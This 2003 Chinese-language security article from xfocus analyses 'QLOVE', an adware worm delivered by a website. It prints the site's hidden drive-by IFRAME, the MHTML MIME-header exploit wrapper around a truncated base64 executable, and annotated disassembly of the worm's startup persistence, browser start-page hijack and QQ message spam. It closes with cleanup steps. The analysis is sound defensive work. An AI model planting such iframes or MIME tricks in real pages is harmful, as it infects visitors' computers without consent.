xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

网遇QLOVE日记


创建时间:2003-05-24
文章属性:原创
文章来源:http://superlinux.yeah.net
文章提交:linuxh4cker (linuxh4cker_at_yahoo.com.cn)

网遇QLOVE日记

Author  : linuxh4cker
Email   : linuxh4cker@yahoo.com.cn
HomePage: http://superlinux.yeah.net  


某日上网,正在查看QQ上好友的信息,突然发觉QQ自动发了一个信息出去,我大吃一惊,难道是大名鼎鼎的"
中国黑客"出新版本了?不过不可能啊,“中国黑客”偶认为是一个标准的概念病毒,因为它没有打开破坏的
功能接口,仅仅是展示了其创新的想法,何况中国黑客的QQ功能仅仅是向发送窗口输入爱国口号,没有发送
的功能。一些疑虑顿上心头。

经过发现,发现www.myxq.com这个网站出的问题最大,打开一看,又吓了一跳,然后是各种XXX灰飞烟灭,果
然你的问题最大。还是先改该IE的设置吧,将所有的AXTIVE,脚本,等你觉得不顺眼的都关闭,再打开页面
,然后看看原代码,还不到1秒钟,IFRAME就向我招手了,我看到既兴奋有害怕。在IFRAME包含的.mnt的到底
是什么东西啊,还得看个究竟。

该站网页内含有
<IFRAME src="http://ads.ourcode.net/qweb/MYXQWebAuto.mht" width=0 height=0></IFRAME>
而默认的IE安全级别是自动运行的。
这样就被下载到用户的机器中,而分析这个MHT后缀的MHTML Document网页文档到底是什么呢,一看才
知道原来是利用了错误的MIME头漏洞,偶的机器什么补丁也没打,最佳的蜜陷,自己就是IDS,对了,就这样
轻松的让她进来了。

还是看看她的庐山真面目吧:
------------------------snap----------------------------------
Content-Type: multipart/related;
    type="multipart/alternative";
    boundary="====B===="

--====B====
Content-Type: multipart/alternative;
    boundary="====A===="

--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<iframe src=3Dcid:Mud height=3D0 width=3D0>
</iframe>
--====A====--

--====B====
Content-Type: audio/x-wav;
    name="qlove.exe"
Content-Transfer-Encoding: base64
Content-ID: <Mud>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
。。。省略
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

--====B====

----------------snap---------------------------------

果真没错,那么熟悉。那么我的机器里面应该有可爱的qlove.exe这个文件了吧,搜索一下,找到了哈,看看
大小,恩,应该是汇编写的吧,不放心,拿FI.exe照妖镜一看,啊,原来是VC啊,太没有创意了吧,这年头
,还有人用VC来写这种东西,再次嘛,也要用什么delphi啊,是吧?

也好,至少不是用汇编写的,那样也就少了什么花指令,什么迷惑我的东西,VC写的,呵呵,VC写的,任何
反汇编都能吃了你。于是操起已经尘封多月的W32Dasm,什么你说太老土,大家都用ida了?我晕,其实偶用
的动态调试工具中没有SOFTICE,也没有TRW2000 ,最爱用的是TRV2.52,哈够老土了吧。
言归正传,还是应该反反看,到底是些什么功能。


于是又牺牲了我1个小时的PK时间,来做这个地球人都不愿意做的事情。经过分析,发现这个未请自来的程序
,不好叫别人病毒吧,别人又不是生下来就在身上写了病毒两个大字,一下批倒了,还是给别人改过自新的
机会吧,叫QLOVE它本名字吧。

虽然他在我眼里不是病毒,不过他的手段基本和病毒差不多,仍然有感染部分,传播部分,和自身的保护部
分,下面先给出反汇编的主要功能模块。
运行后会自动更改WIN.INI,并将自身以WebAuto的名字拷贝到系统目录下,改动那个地球人都知道的注册表
地方,让系统启动后自动运行。并且通过注册表的改动,让IE的默认页面自动为www.myxq.com。同时由下面
的汇编代码也就清楚了初始的疑惑,为什么QQ会自动的发消息,还是利用了USER32.DLL中的keybd_event这个
API函数,当然还得感谢QQ的快捷键,成就了她通过自动发QQ广告宣传她的站点作用,一旦,你看到这个广告
,主页上的代码就运行到你的机器上了,然后就是继续的为其服务,宣传广告,即使你打了补丁,你的好友
老是给你发这个消息,你烦不烦啊。




反汇编分析部分

运行部分
* Possible StringData Ref from Data Obj ->"WebAuto"
                                  |
:00401081 6820304000              push 00403020
:00401086 6A01                    push 00000001
:00401088 57                      push edi
:00401089 FF1518204000            Call dword ptr [00402018]  ;建立互斥体"WebAuto"
:0040108F 85C0                    test eax, eax              ;判断内存是否已经运行了
:00401091 746C                    je 004010FF                ;若有则跳到结束

* Reference To: KERNEL32.GetLastError, Ord:011Ah
                                  |
:00401093 FF1510204000            Call dword ptr [00402010] ;获得错误信息
:00401099 3DB7000000              cmp eax, 000000B7         ;错误则跳到结束
:0040109E 745F                    je 004010FF

* Reference To: KERNEL32.Sleep, Ord:0296h
                                  |
:004010A0 8B3514204000            mov esi, dword ptr [00402014]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004010FD(U)
|
:004010A6 A14C324000              mov eax, dword ptr [0040324C]
:004010AB 40                      inc eax
:004010AC 83F828                  cmp eax, 00000028
:004010AF A34C324000              mov dword ptr [0040324C], eax
:004010B4 7E0B                    jle 004010C1             ;跳到运行
:004010B6 893D4C324000            mov dword ptr [0040324C], edi
:004010BC E89F050000              call 00401660            ;休眠

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004010B4(C)
|
:004010C1 E8DA000000              call 004011A0


:004010FF 5F                      pop edi                ;恢复堆栈寄存器
:00401100 5E                      pop esi
:00401101 B801000000              mov eax, 00000001
:00401106 5B                      pop ebx
:00401107 C21000                  ret 0010              ;返回



感染部分
将拷贝到系统目录并修改WIN.INI和注册表中

* Reference To: KERNEL32.GetSystemDirectoryA, Ord:0159h
                                  |
:004011D0 FF151C204000            Call dword ptr [0040201C]     ;得到系统目录
:004011D6 B940000000              mov ecx, 00000040
:004011DB 33C0                    xor eax, eax
:004011DD 8D7C2410                lea edi, dword ptr [esp+10]

* Possible StringData Ref from Data Obj ->"WebAuto.exe"
                                  |
:004011E1 6880304000              push 00403080
:004011E6 F3                      repz
:004011E7 AB                      stosd
:004011E8 8D842414010000          lea eax, dword ptr [esp+00000114]
:004011EF 8D4C2414                lea ecx, dword ptr [esp+14]
:004011F3 50                      push eax

* Possible StringData Ref from Data Obj ->"%s\%s"
                                  |
:004011F4 6878304000              push 00403078
:004011F9 51                      push ecx

* Reference To: MSVCRT.sprintf, Ord:02B2h
                                  |
:004011FA FF15CC204000            Call dword ptr [004020CC]
:00401200 83C410                  add esp, 00000010
:00401203 8D542410                lea edx, dword ptr [esp+10]
:00401207 8D842410020000          lea eax, dword ptr [esp+00000210]
:0040120E 6A00                    push 00000000
:00401210 52                      push edx
:00401211 50                      push eax

* Reference To: KERNEL32.CopyFileA, Ord:0028h    
                                  |
:00401212 FF1520204000            Call dword ptr [00402020]   ;拷贝文件qlove到系统目录
                                                              ;并改名WebAuto.exe



;修改注册表,使得程序随WINDOWS启动,自动运行WebAuto.exe。
;并修改IE默认的启动页面为http://www.myxq.com

* Reference To: ADVAPI32.RegOpenKeyA, Ord:0171h
                                  |
:00401218 8B1D04204000            mov ebx, dword ptr [00402004]
:0040121E 8D4C240C                lea ecx, dword ptr [esp+0C]
:00401222 51                      push ecx

* Possible StringData Ref from Data Obj ->"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                                  |
:00401223 6848304000              push 00403048
:00401228 6802000080              push 80000002
:0040122D FFD3                    call ebx             ;打开RUN键下内容WebAuto.exe
:0040122F 85C0                    test eax, eax
:00401231 740C                    je 0040123F          ;如果不存在该键,跳到0040123F
:00401233 5F                      pop edi
:00401234 5E                      pop esi
:00401235 33C0                    xor eax, eax
:00401237 5B                      pop ebx
:00401238 81C404030000            add esp, 00000304
:0040123E C3                      ret


:0040123F 8B44240C                mov eax, dword ptr [esp+0C]

* Reference To: ADVAPI32.RegSetValueExA, Ord:0186h
                                  |
:00401243 8B3500204000            mov esi, dword ptr [00402000]
:00401249 8D542410                lea edx, dword ptr [esp+10]
:0040124D 6800010000              push 00000100
:00401252 52                      push edx
:00401253 6A01                    push 00000001
:00401255 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"WebAuto.exe"
                                  |
:00401257 6880304000              push 00403080
:0040125C 50                      push eax
:0040125D FFD6                    call esi                     ;设置键WebAuto.exe
:0040125F 8B4C240C                mov ecx, dword ptr [esp+0C]

* Reference To: ADVAPI32.RegCloseKey, Ord:015Bh
                                  |
:00401263 8B3D08204000            mov edi, dword ptr [00402008]
:00401269 51                      push ecx
:0040126A FFD7                    call edi                      ;关闭该键
:0040126C 8D54240C                lea edx, dword ptr [esp+0C]
:00401270 52                      push edx

* Possible StringData Ref from Data Obj ->"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                                  |
:00401271 6848304000              push 00403048
:00401276 6801000080              push 80000001
:0040127B FFD3                    call ebx                      ;重新打开该键
:0040127D 85C0                    test eax, eax
:0040127F 740C                    je 0040128D                   ;存在,则跳到0040128D  
:00401281 5F                      pop edi
:00401282 5E                      pop esi
:00401283 33C0                    xor eax, eax
:00401285 5B                      pop ebx
:00401286 81C404030000            add esp, 00000304
:0040128C C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040127F(C)
|
:0040128D 8B4C240C                mov ecx, dword ptr [esp+0C]
:00401291 8D442410                lea eax, dword ptr [esp+10]
:00401295 6800010000              push 00000100
:0040129A 50                      push eax
:0040129B 6A01                    push 00000001
:0040129D 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"WebAuto.exe"
                                  |
:0040129F 6880304000              push 00403080
:004012A4 51                      push ecx
:004012A5 FFD6                    call esi                       ;设置键值WebAto.exe
:004012A7 8B54240C                mov edx, dword ptr [esp+0C]
:004012AB 52                      push edx
:004012AC FFD7                    call edi                        ;关闭该键
:004012AE 5F                      pop edi
:004012AF 5E                      pop esi
:004012B0 B801000000              mov eax, 00000001
:004012B5 5B                      pop ebx
:004012B6 81C404030000            add esp, 00000304
:004012BC C3                      ret





:004013A5 8D4C2408                lea ecx, dword ptr [esp+08]
:004013A9 51                      push ecx

* Possible StringData Ref from Data Obj ->"Software\Microsoft\Internet Explorer\Main"
                                  |
:004013AA 6898304000              push 00403098
:004013AF 6801000080              push 80000001

* Reference To: ADVAPI32.RegOpenKeyA, Ord:0171h
                                  |
:004013B4 FF1504204000            Call dword ptr [00402004] ;打开Software\Microsoft\Internet
                                                            ;Explorer\Main
:004013BA 5F                      pop edi                
:004013BB 5E                      pop esi
:004013BC 85C0                    test eax, eax
:004013BE 742E                    je 004013EE        ;如果不存在,跳到4013EE.
                                                  
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004013BE(C)
|
:004013EE 8B442400                mov eax, dword ptr [esp]
:004013F2 8D542404                lea edx, dword ptr [esp+04]
:004013F6 6800010000              push 00000100
:004013FB 52                      push edx
:004013FC 6A01                    push 00000001
:004013FE 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"Start Page"      
                                  |
:00401400 688C304000              push 0040308C
:00401405 50                      push eax

* Reference To: ADVAPI32.RegSetValueExA, Ord:0186h
                                  |
:00401406 FF1500204000            Call dword ptr [00402000]   ;设置默认启动IE页Start Page
:0040140C 8B4C2400                mov ecx, dword ptr [esp]    ;键值为www.myxq.com
:00401410 51                      push ecx

* Reference To: ADVAPI32.RegCloseKey, Ord:015Bh
                                  |
:00401411 FF1508204000            Call dword ptr [00402008]   ;关闭键值



;以下为更改WIN.ini部分
;运行EXEAuto.exe


* Possible StringData Ref from Data Obj ->"CurTime"
                                  |
:00401691 6810324000              push 00403210

* Possible StringData Ref from Data Obj ->"AutoTime"
                                  |
:00401696 6804324000              push 00403204
:0040169B 894DD8                  mov dword ptr [ebp-28], ecx

* Reference To: KERNEL32.GetProfileIntA, Ord:0147h
                                  |
:0040169E FF1528204000            Call dword ptr [00402028];取得win.ini初
                                                           ;始化文件中指定条目的一个整数值

:00401717 8D95B4FDFFFF            lea edx, dword ptr [ebp+FFFFFDB4]
:0040171D 6800010000              push 00000100
:00401722 52                      push edx

* Reference To: KERNEL32.GetSystemDirectoryA, Ord:0159h
                                  |
:00401723 FF151C204000            Call dword ptr [0040201C]  ;获得系统目录
:00401729 B940000000              mov ecx, 00000040
:0040172E 33C0                    xor eax, eax
:00401730 8DBDB4FEFFFF            lea edi, dword ptr [ebp+FFFFFEB4]

* Possible StringData Ref from Data Obj ->"EXEAuto.exe"
                                  |
:00401736 68C0314000              push 004031C0
:0040173B F3                      repz
:0040173C AB                      stosd
:0040173D 8D85B4FDFFFF            lea eax, dword ptr [ebp+FFFFFDB4]
:00401743 8D8DB4FEFFFF            lea ecx, dword ptr [ebp+FFFFFEB4]
:00401749 50                      push eax

* Possible StringData Ref from Data Obj ->"%s\%s"
                                  |
:0040174A 6878304000              push 00403078
:0040174F 51                      push ecx

* Reference To: MSVCRT.sprintf, Ord:02B2h
                                  |
:00401750 FF15CC204000            Call dword ptr [004020CC]


* Possible StringData Ref from Data Obj ->"CurTime"
                                  |
:004018D6 6810324000              push 00403210

* Possible StringData Ref from Data Obj ->"AutoTime"
                                  |
:004018DB 6804324000              push 00403204

* Reference To: KERNEL32.WriteProfileStringA, Ord:02EDh
                                  |
:004018E0 FF1524204000            Call dword ptr [00402024]  ;在Win.ini初始化
                                                             ;文件指定小节内设置一个字串
:004018E6 6A00                    push 00000000
:004018E8 6A00                    push 00000000  
:004018EA 8D85B4FEFFFF            lea eax, dword ptr [ebp+FFFFFEB4]
:004018F0 6A00                    push 00000000
:004018F2 50                      push eax           ;通过关联程序运行
:004018F3 6A00                    push 00000000
:004018F5 6A00                    push 00000000

* Reference To: SHELL32.ShellExecuteA, Ord:0072h
                                  |
:004018F7 FF15E4204000            Call dword ptr [004020E4] ;执行关联程序





传播部分
通过QQ的发送消息,达到宣传

:00401052 33FF                    xor edi, edi
:00401054 C7055032400060EA0000    mov dword ptr [00403250], 0000EA60
:0040105E 8B442410                mov eax, dword ptr [esp+10]
:00401062 57                      push edi
:00401063 893D4C324000            mov dword ptr [0040324C], edi
:00401069 893D48324000            mov dword ptr [00403248], edi
:0040106F A340324000              mov dword ptr [00403240], eax

* Reference To: USER32.GetActiveWindow, Ord:00DDh      ;获得活动窗口的句柄
                                  |
:00401074 FF15F4204000            Call dword ptr [004020F4]
:0040107A 50                      push eax

* Reference To: USER32.ShowWindow, Ord:026Ah           ;控制窗口的可见性
                                  |
:0040107B FF15F8204000            Call dword ptr [004020F8]


:00401468 53                      push ebx

* Reference To: USER32.FindWindowExA, Ord:00D6h
                                  |
:00401469 8B1DFC204000            mov ebx, dword ptr [004020FC]
:0040146F 56                      push esi
:00401470 57                      push edi

* Possible StringData Ref from Data Obj ->"发送消息"
                                  |
:00401471 6880314000              push 00403180
:00401476 6A00                    push 00000000
:00401478 6A00                    push 00000000
:0040147A 6A00                    push 00000000
:0040147C FFD3                    call ebx               ;查找QQ的“发送消息”窗口句柄
:0040147E 8BF0                    mov esi, eax
:00401480 85F6                    test esi, esi
:00401482 751C                    jne 004014A0           ;找到则跳转到004014A0
:00401484 C70550324000F4010000    mov dword ptr [00403250], 000001F4
:0040148E 8B4C2420                mov ecx, dword ptr [esp+20]
:00401492 64890D00000000          mov dword ptr fs:[00000000], ecx
:00401499 5F                      pop edi
:0040149A 5E                      pop esi
:0040149B 5B                      pop ebx
:0040149C 83C420                  add esp, 00000020
:0040149F C3                      ret


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401482(C)
|
:004014A0 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"RICHEDIT"
                                  |
:004014A2 6874314000              push 00403174
:004014A7 6A00                    push 00000000
:004014A9 56                      push esi
:004014AA FFD3                    call ebx              ;查找QQ的编辑RICHEDIT类窗口句柄
:004014AC 8BF8                    mov edi, eax
:004014AE 85FF                    test edi, edi
:004014B0 7512                    jne 004014C4          ;找到,跳004014C4  
:004014B2 8B4C2420                mov ecx, dword ptr [esp+20]
:004014B6 64890D00000000          mov dword ptr fs:[00000000], ecx
:004014BD 5F                      pop edi
:004014BE 5E                      pop esi
:004014BF 5B                      pop ebx
:004014C0 83C420                  add esp, 00000020
:004014C3 C3                      ret


* Possible StringData Ref from Data Obj ->"送讯息(&S)"
                                  |
:004014C4 6868314000              push 00403168

* Possible StringData Ref from Data Obj ->"BUTTON"
                                  |
:004014C9 6860314000              push 00403160
:004014CE 6A00                    push 00000000
:004014D0 56                      push esi
:004014D1 FFD3                    call ebx               ;查找QQ的送讯息按钮的句柄
:004014D3 85C0                    test eax, eax
:004014D5 7512                    jne 004014E9
:004014D7 8B4C2420                mov ecx, dword ptr [esp+20]
:004014DB 64890D00000000          mov dword ptr fs:[00000000], ecx
:004014E2 5F                      pop edi
:004014E3 5E                      pop esi
:004014E4 5B                      pop ebx
:004014E5 83C420                  add esp, 00000020
:004014E8 C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004014D5(C)
|
:004014E9 8D4C2410                lea ecx, dword ptr [esp+10]

:004015C1 50                      push eax              ; lParam
:004015C2 6A00                    push 00000000         ; wParam
:004015C4 6A0C                    push 0000000C         ; 消息的标识符
:004015C6 57                      push edi              ; 要接收消息的那个窗口的句柄

* Reference To: USER32.SendMessageA, Ord:0214h
                                  |
:004015C7 FF15F0204000            Call dword ptr [004020F0] ;发送消息
:004015CD 56                      push esi

* Reference To: USER32.SetForegroundWindow, Ord:0230h
                                  |
:004015CE FF15EC204000            Call dword ptr [004020EC] ;将窗口设为系统的前台窗口

* Reference To: USER32.keybd_event, Ord:02AAh              
                                  |
:004015D4 8B3500214000            mov esi, dword ptr [00402100]
:004015DA 6A00                    push 00000000        ;dwExtraInfo
:004015DC 6A01                    push 00000001        ;dwFlags,1代表扩展键
:004015DE 6A45                    push 00000045        ;bScan 键的OEM扫描码
:004015E0 6A11                    push 00000011        ;bVk 虚拟键码,模拟CONTROL键
:004015E2 FFD6                    call esi             ;模拟了键盘行动
:004015E4 6A00                    push 00000000
:004015E6 6A01                    push 00000001
:004015E8 6A45                    push 00000045
:004015EA 6A0D                    push 0000000D        ;RETURN回车键盘
:004015EC FFD6                    call esi             ;模拟了键盘行动
:004015EE 6A00                    push 00000000
:004015F0 6A03                    push 00000003
:004015F2 6A45                    push 00000045
:004015F4 6A11                    push 00000011        ;模拟CONTROL键
:004015F6 FFD6                    call esi             ;模拟了键盘行动
:004015F8 6A00                    push 00000000
:004015FA 6A03                    push 00000003
:004015FC 6A45                    push 00000045
:004015FE 6A0D                    push 0000000D        ;RETURN回车键盘
:00401600 FFD6                    call esi             ;模拟了键盘行动
                                                      
;上面这一系列的键盘模拟无非是QQ的发送快
捷键(ctrl+回车)




到了这里了也应该知道如何防范了吧。该打补丁的就打补丁,不幸感染了的就删除你注册表中多余的垃圾吧
,同时象偶这样不喜欢打补丁的人,就打开IE,选择工具->INTERNET选项->安全->自定义级别-》在IFRAME中
加载程序和文件->选择禁用,就可以了。


删除垃圾:

删除MYXQWebAuto.mht,qlove.exe和系统目录下的WebAuto.exe程序
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run中清除WebAuto.exe键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run中清除WebAuto.exe键
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main中清除Start Page的键值
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main中清除Start Page的键值

注意需要先将WebAuto.exe程序杀掉,直接在任务栏就可以杀掉,这也是我说这个算不上病毒的原因,
因为作者没有注册为服务,隐藏进程,也没有象“中国黑客”那样3线程保护,不过不知道这个程序会不会
我这样一说以后升级,增加了这些功能,哈,就不是我的事情了。